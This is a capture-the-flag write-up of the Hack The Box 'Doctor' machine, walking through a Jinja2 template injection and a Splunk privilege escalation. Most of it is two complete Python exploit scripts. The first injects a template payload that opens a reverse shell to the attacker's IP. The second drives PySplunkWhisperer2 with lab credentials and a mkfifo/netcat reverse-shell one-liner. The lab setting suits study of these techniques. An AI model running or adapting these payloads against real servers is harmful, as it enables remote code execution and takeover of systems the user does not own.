HTB Doctor
Points of interest here are a web server on port 80 and some sort of splunk server running on 8089
We're not able to pull much info out of the splunk interface, since all the dirs require creds.
The contact us page on the webserver has a link to the domain
doctors.htb — this was some sort of login portal
After creating a new account and logging in, there is a page to create a new post/comment.
In the page source there is a hidden link to the /archive page, which appears to display our posts/comments.
The archive page displays our posts/comments, and they are not being sanitized whatsoever. We can directly inject html in the /archive page.
The challenge now becomes how can we inject html such that when it gets executed we receive a reverse shell.
I found an awesome html injection resource here
Initially I tried the basic injection. I tried to get the server to execute {4*4*4} so that when we query /archive, the number 64 is presented.
We can see on the archive page source that our code is inside of both a title and item bracket, so our injection will start out closing those first.
After injecting
</title> </item> {4*4*4}
The page source on /archive should look like
<item> <title> </title> </item> 64</title> </item>
Success, we can see the expected output 64
Further down the github link there is a popen() method where it appears we can run shell commands. I started creating a python script to put all this together. First step is to grab all of our headers/cookies on the 3 necessary requests from burpsuite.
Registering a new account
Logging in to new account
Posting comment from new account
I then developed the below python script.
User.py
#!/usr/bin/python3
from pwn import *
import requests, time, random, string
my_ip = "10.10.14.29"
my_port = "8000"
reg_url = 'http://doctors.htb/register'
login_url = 'http://doctors.htb/login'
home_url = 'http://doctors.htb/home'
inject_url = 'http://doctors.htb/post/new'
archive_url = 'http://doctors.htb/archive'
# generate a random string
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
user = get_random_string(6).capitalize()
email = user + "@yahoo.com"
# Exploit the SSTI by calling Popen without guessing the offset
# https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
exploit = ""
exploit += " "
exploit += "{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}"
exploit += "{{x()._module.__builtins__['__import__']('os').popen(\"python3 -c 'import socket,subprocess,os;"
exploit += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
exploit += "s.connect((\\\""
exploit += my_ip + "\\\","
exploit += my_port + ")); "
exploit += "os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
exploit += "p=subprocess.call([\\\"/bin/bash\\\", \\\"-i\\\"]);'\").read().zfill(417)}}{%endif%}{% endfor %}"
# the data for our 3 post requests, burpsuite
reg_dict = { 'username': user, 'email': email, 'password': 'test', 'confirm_password': 'test', 'submit': 'Sign+Up'}
login_dict = { 'email': email, 'password': 'test', 'submit': 'Login'}
inject_dict = { 'title': exploit, 'content': 'Hello World', 'submit': 'Post' }
with requests.Session() as session:
# Attempt to hit the register endpoint and create an account
get = session.get(reg_url)
post = session.post(reg_url, data=reg_dict)
if "Your account has been created, with a time limit of twenty minutes!" not in post.text:
print("[-] Account creation failed.. exiting")
exit(0)
print("[+] Created account " + email)
# Attempt to login with our new creds
login = session.post(login_url, data=login_dict)
if "Logout" not in login.text:
print("[-] Login failed.. exiting")
exit(0)
print("[+] Login success")
# Create our post with exploit string
injection = session.post(inject_url, data=inject_dict)
if "Your post has been created!" not in injection.text:
print("[-] Post creation failed.. exiting")
exit(0)
print("[+] Post created successfully")
# Startup listener and trigger our injected code
l = listen(my_port)
time.sleep(2)
print("[+] Querying /archive to trigger shell")
try:
archive = session.get(archive_url, timeout=0.5)
except:
l.interactive()
The end result is a user shell as web on doctor.
PRIVESC
There is a backup file present in the apache logs, which contained a password
This allowed us to pivot to user shaun grab the user.txt flag
After attaining user, I started checking out the splunk install on 8089, to see if we could trigger command injection somehow. Turns out there are several tools already built for this, I opted to use PySplunkWhisperer2 which you can checkout here
After some trial and error I was eventually able to get a openBSD netcat one liner to work.
I threw this all in another python script and automated the listener.
Root.py
#!/usr/bin/python3
from pwn import *
import time,os
my_ip = '10.10.14.29'
my_port = '8001'
pysplunk = '/opt/SplunkWhisperer2/PySplunkWhisperer2/PySplunkWhisperer2_remote.py'
l = listen(my_port)
time.sleep(0.5)
exploit = ''
exploit += 'python ' + pysplunk
exploit += ' --host 10.10.10.209 '
exploit += ' --lhost ' + my_ip + ' '
exploit += ' --username shaun --password Guitar123 '
exploit += ' --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' + my_ip + " " + my_port
exploit += ' >/tmp/f" > /dev/null'
os.system(exploit)
l.interactive()